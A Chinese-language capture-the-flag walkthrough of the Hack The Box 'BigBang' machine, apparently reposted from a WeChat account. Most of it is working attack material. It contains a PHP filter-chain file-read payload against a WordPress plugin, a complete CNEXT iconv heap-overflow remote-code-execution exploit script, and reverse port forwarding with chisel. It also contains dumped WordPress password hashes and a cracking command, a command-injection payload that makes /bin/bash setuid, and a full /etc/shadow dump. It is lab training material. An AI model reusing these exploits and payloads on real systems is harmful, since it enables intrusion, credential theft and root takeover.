nmap -A -v -T4 10.10.11.52
wpscan --url http://blog.bigbang.htb/ -e ap --api-token Ds1esN9RXIZkLmpAsHo13mMLgTPlVYxJwaInRyAEY3o
https://github.com/ambionics/cnext-exploits
curl'http://blog.bigbang.htb/wp-admin/admin-ajax.php'-vH'Content-Type: application/x-www-form-urlencoded'-d"action=upload_image_from_url&id=1&accepted_files=image/gif&url=php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd"
import requests
import sys
import argparse
import time
def send_packet(file_to_read, url, headers, data_template, debug):
"""发送一次 HTTP 请求,并打印返回的状态和数据"""
data = data_template.format(file_to_read=file_to_read)
start_time = time.time()
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
end_time = time.time()
latency = round((end_time - start_time) * 1000, 2) # 计算延迟(毫秒)
# 获取返回数据
status_code = response.status_code
response_size = len(response.content)
print(f"[{time.strftime('%H:%M:%S')}] 发包成功 | 状态码: {status_code} | 数据大小: {response_size} 字节 | 延迟: {latency} ms")
if response.status_code == 200:
result = response.json()
if result.get("status") == "OK":
file_url = result.get("response")
if file_url.endswith(".png"):
print(f"[INFO] 获取到文件地址: {file_url}")
file_response = requests.get(file_url, timeout=10)
if file_response.status_code == 200:
print("[INFO] 文件内容:")
print(file_response.text[:500]) # 只显示前500字符,避免过长
else:
print(f"[ERROR] 读取文件失败,状态码: {file_response.status_code}")
else:
print(f"[WARN] 返回的URL不是PNG格式: {file_url}")
else:
print("[ERROR] 响应状态不是 OK")
else:
print(f"[ERROR] 请求失败,状态码: {response.status_code}")
# Debug 模式,显示完整请求/响应内容
if debug:
print("n[DEBUG] 请求数据:")
print(data)
print("n[DEBUG] 响应内容:")
print(response.text)
except requests.RequestException as e:
print(f"[ERROR] 请求异常: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="发送一次 HTTP 请求并接收服务器返回数据")
parser.add_argument("file", help="要读取的远程文件路径")
parser.add_argument("--debug", action="store_true", help="启用调试模式,显示完整数据包")
args = parser.parse_args()
file_to_read = args.file
debug = args.debug
url = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data_template = (
"action=upload_image_from_url&id=1&accepted_files=image/gif&url="
"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={file_to_read}"
)
send_packet(file_to_read, url, headers, data_template, debug)
from __future__ import annotations
import base64
import urllib.parse
import zlib
import urllib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus('php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource='+path),
'id' : '1',
'accepted_files' : 'image/gif'}
return self.session.post(self.url, data=data)
def send_exploit(self, payload: bytes) -> Response:
"""Sends the payload to the server.
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus(payload),
'id' : '1',
'accepted_files' : 'image/gif'}
return self.session.post(self.url, data=data)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
file_path = self.send(path).json()['response']
if 'File type' in file_path:
print(file_path)
return b''
response = self.session.get(file_path)
data = response.content[6:]
return data
def data_decode(self, data:bytes)->bytes:
data = data.decode('latin-1')
return base64.decode(data + (4 - len(data) % 4) * '=')
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return len(set(result).intersection(set(text.encode()))) > 0
text = tf.random.string(50).encode()
base64 = b64(b'GIF89a' + text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if len(set(result).intersection(set(text))) == 0:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = 'GIF89a' + tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = 'GIF89a' + tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.remote.data_decode(self.get_file("/proc/self/maps"))
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)b" r".*" r"s([-rwx]{3}[ps])s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "./libc.so.6"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
print(f'HEAP address: {hex(self.info["heap"])}')
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
#self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
print(f'LIBC address: {hex(libc.start)}')
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.remote.data_decode(self.get_file(remote_path))
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using last one)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
#self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0n".ljust(step2_size, b"x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource) #b64(pages)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
msg_print("Sending exploit...")
print(f'PATH: {path}')
self.remote.send_exploit(path)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004nABCDn`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"nn")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"n" + data + b"n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
./chisel_1.9.1_linux_amd64 client 10.10.14.99:1132 R:3306:172.17.0.1:3306
chisel server --reverse --port 1132
mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| 1 | root | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root | [email protected] | http://blog.bigbang.htb | 2024-05-31 13:06:58 | | 0 | root |
| 3 | shawking | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking | [email protected] | | 2024-06-01 10:39:55 | | 0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
2 rows in set (0.071 sec)
https://github.com/iamaldi/grafana2hashcat
hashcat -m 10900 dev.txt --wordlist /home/h-h/rockyou.txt
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
curl -X POST -v 127.0.0.1:9090/login -H "Content-Type: application/json" -d '{"username":"developer","password":"bigbang"}'
apktool d satellite-app.apk -o satellite_app_decompiled
因为不会java反编译,剩下的交给gpt
- 目录与文件结构
-
该目录包含经过反编译的 Dalvik APK 的 smali 字节码文件,即反汇编后的 Java 代码。 -
其中,smali/com/satellite/bigbang/ 目录存放了应用的主要活动(Activity)代码,如 InteractionActivity.smali
、LoginActivity.smali
、MainActivity.smali
、MoveCommandActivity.smali
和TakePictureActivity.smali
。 - MoveCommandActivity 的分析
-
如果用户输入未经过适当验证和清理,直接作为命令参数拼接到 JSON 中,可能导致命令注入漏洞。 -
这种漏洞可能允许攻击者利用恶意构造的输入执行未授权的系统命令。 -
注册了一个点击监听器(由类 Le/b
实现),当用户点击按钮时,读取 EditText 中的输入。 -
读取的输入(可能包含数值或命令参数)被解析并封装成 JSON 对象,其中包含 "command": "move"
以及用户输入的数据。 -
在 onCreate
方法中,该类通过setContentView
加载布局,并利用findViewById
获取三个 EditText 控件,用于用户输入。 -
同时,从 Intent 中获取 access_token
(存入字段q
)和token_expiry_time
(存入字段r
)。 - 初始化与视图绑定
: - 按钮点击与命令构造
: - 潜在漏洞
: - TakePictureActivity 与 q0/b 类的分析
-
如果文件名字段 output_file
未经过严格验证,攻击者可以构造恶意路径(例如目录遍历../../
),从而覆盖任意文件或执行其他未授权操作。 -
同样,未经清洗的命令字符串可能导致命令注入风险,后端在执行时可能会错误地解析包含恶意字符的输入。 -
请求中包含了身份验证头(Authorization),使用从 MoveCommandActivity
中获取的 access_token。 -
后端接收到该请求后,可能会根据 JSON 中的 output_file
字段执行相应的操作。 -
在 TakePictureActivity
中,用户输入(例如文件名的一部分)被用来构造输出文件名,并附加“.png”后缀。 -
通过异步任务(AsyncTask)发送 HTTP POST 请求到指定的后端接口( http://app.bigbang.htb:9090/command
),传输的 JSON 负载中包含了该文件名。 - 文件命名与图片处理
: - HTTP 请求构造与执行
: - 潜在漏洞
:
然后就是根据这个漏洞进行利用
- 漏洞利用流程概述
-
发送一个 POST 请求到 /command
终端,请求体中包含预定义的命令 JSON(例如:{"command":"move","x":10,"y":20,"z":30}
)。 -
请求头中包含 Authorization: Bearer $access_token
用于身份验证。 -
smali 代码中显示该命令由 MoveCommandActivity
处理,服务器成功接受并执行了该命令,证明 JWT 令牌和预定义命令功能正常。 -
通过向 /login
终端发送 POST 请求(使用 curl 命令)提交用户名和密码(示例中用户名为developer
),服务器返回包含 JWT 的响应。 -
将返回的令牌导出为环境变量 access_token
,以便后续请求中使用。 -
利用应用中的漏洞对内部主机发起攻击,该主机通过适当的端口转发(例如: http://app.bigbang.htb:9090
或http://127.0.0.1:9090
)可访问。 - 目标与访问
- 获取 JWT 令牌
- 测试预定义命令功能
- 验证命令注入漏洞
-
利用 smali 中暴露的漏洞,通过发送一个修改过的命令(例如: {"command": "send_image", "output_file": "/tmp/test"}
)来测试命令注入。 -
服务器返回错误信息(如 "Error generating image:"
),说明注入漏洞存在,并且可以利用特殊字符(例如;
、&&
或利用换行符\n
绕过过滤)构造恶意命令。 - 实现远程代码执行(RCE)
-
利用上述命令注入原语,构造一个反向 shell 脚本,并通过漏洞在目标系统上执行该脚本。 -
由于应用程序以 root 权限运行(之前的内部扫描已确认),成功利用漏洞后可以获得一个以 root 权限运行的反向 shell。
可以根据这个利用写一个py脚本
import requests
url = "http://127.0.0.1:9090/command"
headers = {
"Host": "127.0.0.1:9090",
"User-Agent": "curl/8.10.1",
"Accept": "*/*",
"Content-Type": "application/json",
"Authorization": "Bearer TOKEN"
}
payload = {
"command": "send_image",
"output_file": "foo n chmod 4777 /bin/bash"
}
response = requests.post(url, headers=headers, json=payload)
print("Status Code:", response.status_code)
print("Response Body:", response.text)
root:$y$j9T$vdc1uZNWf6RnjK02atUqF.$0R57rghgtK8gjvwhY9F.6d4HQV34vtwyJTA/ZxDC8mA:19879:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19873:0:99999:7:::
george:$6$6HMS33a3ItVgSZpH$jf1Au9xz85Wh1hzu8PcFDMjyp9l56C7zZgjbfQvPrgK0Zk3/.zSAGzaq/sFJqx3lmsp.v5yWdK/l65jtV4grA1:19873:0:99999:7:::
lxd:!:19873::::::
dnsmasq:*:19873:0:99999:7:::
shawking:$y$j9T$Azp7sxaLlTMQtVglOmK7o.$7KaOwgackYFfRHfVF8jvNXiUTNbI4C5EzAnj1r3tfU0:19875:0:99999:7:::
developer:$y$j9T$ikNMOn22fE3TK0Vf.qg.5.$uooD3a6o6/s4Brzx.aiEfswsPq4sN9/HGiElCgsHGKC:20108:0:99999:7:::
_laurel:!:20105::::::
原文始发于微信公众号(Jiyou too beautiful):HTB-bigbang
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论